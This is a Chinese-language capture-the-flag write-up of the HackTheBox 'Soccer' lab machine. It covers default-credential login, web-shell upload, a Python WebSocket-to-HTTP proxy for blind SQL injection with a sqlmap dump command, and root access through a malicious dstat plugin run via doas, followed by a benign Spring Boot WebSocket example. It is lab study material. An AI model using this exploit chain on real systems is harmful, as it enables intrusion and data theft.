hackthebox-Soccer
靶机地址
10.10.11.194
user权限
发现存在80端口嘛然后访问一下
然后发现转到域名为
本地绑定一下IP和域名
这里因为是htb的靶场就不扫子域名了直接爆目录
扫到一个目录上去看看,然后发现是个登录框
h3k,Tiny File Manager这些都是一些关键字然后再源代码里面看了看没有找到什么东西只能求助万能的百度了
h3k没什么东西最后找到了Tiny File Manager
这个东西在git上面是开源的
项目地址:https://github.com/prasathmani/tinyfilemanager
是一个php文件管理的cms有源码的也有管理员默认账号密码尝试登录一下,然后成功的进来了
然后发现文件上传功能,找了个路径点
上传了文件并且拿到了shell
然后这台主机是linux的主机尝试用nc去获取交互shell
拿到shell
上传某个脚本进行一下信息收集
中间发现很多提权脚本
随后在Nginx模块发现了一个子域名
子域名是一个soc-player.soccer.htb
随后注册账户进来
这段英文的意思是要检查们的票据,然后我们抓包尝试一下
抓出来发现就是一个纯纯的ID
这种json格式的数据
当我发送给repeaeter的时候burp自动帮我识别了这是一个WebSockets,我测了半天我不会了,sockets这个协议的漏洞我都没有怎么碰到过,然后去看了wp
这里是一个WebSockets的sql注入
根据代码分析我们需要传入的msg是id
这里有一篇关于sockets的sql注入的文章
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
用它结合着sqlmap进行测试
根据这篇文章修改我们的参数
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
然后使用sqlmap去跑参数
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间
用findshell连上去以后拿下user权限
root权限
后面的就更是我的知识盲区了,是在刚刚的信息收集的时候发现的一些东西有一个叫做doas
这是那些地软件有suid权限
什么意思呢就是说我们可以用这个东西来执行sudo指令,我们只需要用这个创建一个shell我们就可以相当于执行了一个 sudo bin/bash
我们先找一下这个软件在哪
通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
找到之后创建一个插件
cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py
已经提升到root权限了我自己都还没注意到存到
小结一下
- WebSockets是个什么东西还有什么其他可以利用的点,自己用java去实现一遍
- sock的sql注入的脚本需要自己去学习一下其中的原理是怎么构成的。
WebSockets
WebSockets 是一种先进的技术。它可以在用户的浏览器和服务器之间打开交互式通信会话。使用此 API,您可以向服务器发送消息并接收事件驱动的响应,而无需通过轮询服务器的方式以获得响应。
简单的自己实现Sockets
还是用springboot去开发
配置类
mport org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.socket.server.standard.ServerEndpointExporter;
@Configuration
public class WebSocketConfig {
/**
* 注入ServerEndpointExporter,
* 这个bean会自动注册使用了@ServerEndpoint注解声明的Websocket endpoint
*/
@Bean
public ServerEndpointExporter serverEndpointExporter() {
return new ServerEndpointExporter();
}
}
处理类
@ServerEndpoint("/myWs")
@Component
public class WsServerEndpoint {
/**
* 连接成功
* @param session
*/
@OnOpen
public void onOpen(Session session) {
System.out.println("连接成功");
}
/**
* 连接关闭
* @param session
*/
@OnClose
public void onClose(Session session) {
System.out.println("连接关闭");
}
/**
* 接收到消息
* @param text
*/
@OnMessage
public String onMsg(String text) throws IOException {
return "servet 发送:" + text;
}
}
这几个注解分别对应着我们常用的三件套连接时候,断开时候,消息处理
@ServerEndpoint
- 通过这个 spring boot 就可以知道你暴露出去的 ws 应用的路径,有点类似我们经常用的@RequestMapping。比如你的启动端口是8080,而这个注解的值是ws,那我们就可以通过 ws://127.0.0.1:8080/ws 来连接你的应用。
@OnOpen
- 当 websocket 建立连接成功后会触发这个注解修饰的方法。
@OnClose
- 当 websocket 建立的连接断开后会触发这个注解修饰的方法。
@OnMessage
- 当客户端发送消息到服务端时,会触发这个注解修改的方法,它有一个 String 入参表明客户端传入的值。
@OnError
- 当 websocket 建立连接时出现异常会触发这个注解修饰的方法。
所以出现漏洞的点在于@OnMessage这个注解的方法这里做处理的时候和数据库进行交互的sql语句造成的注入
小脚本
我去大致的浏览了一下里面会收集的内容记住一些我觉得比较有意思的点
Executing Linux Exploit Suggester
这个会建议我们尝试一些提权操作
Searching uncommon passwd files
这个会有一些可以访问的passwd是一些密码文件
Possible private SSH keys were found!
ssh的key,
Some certificates were found (out limited)
一些证书文件,其实里面有很多有意思的东西,实战中肯定是先去尝试那些提权脚本当你提权不了的时候才开始尝试其他
的信息然后再收集信息去看其他提权方式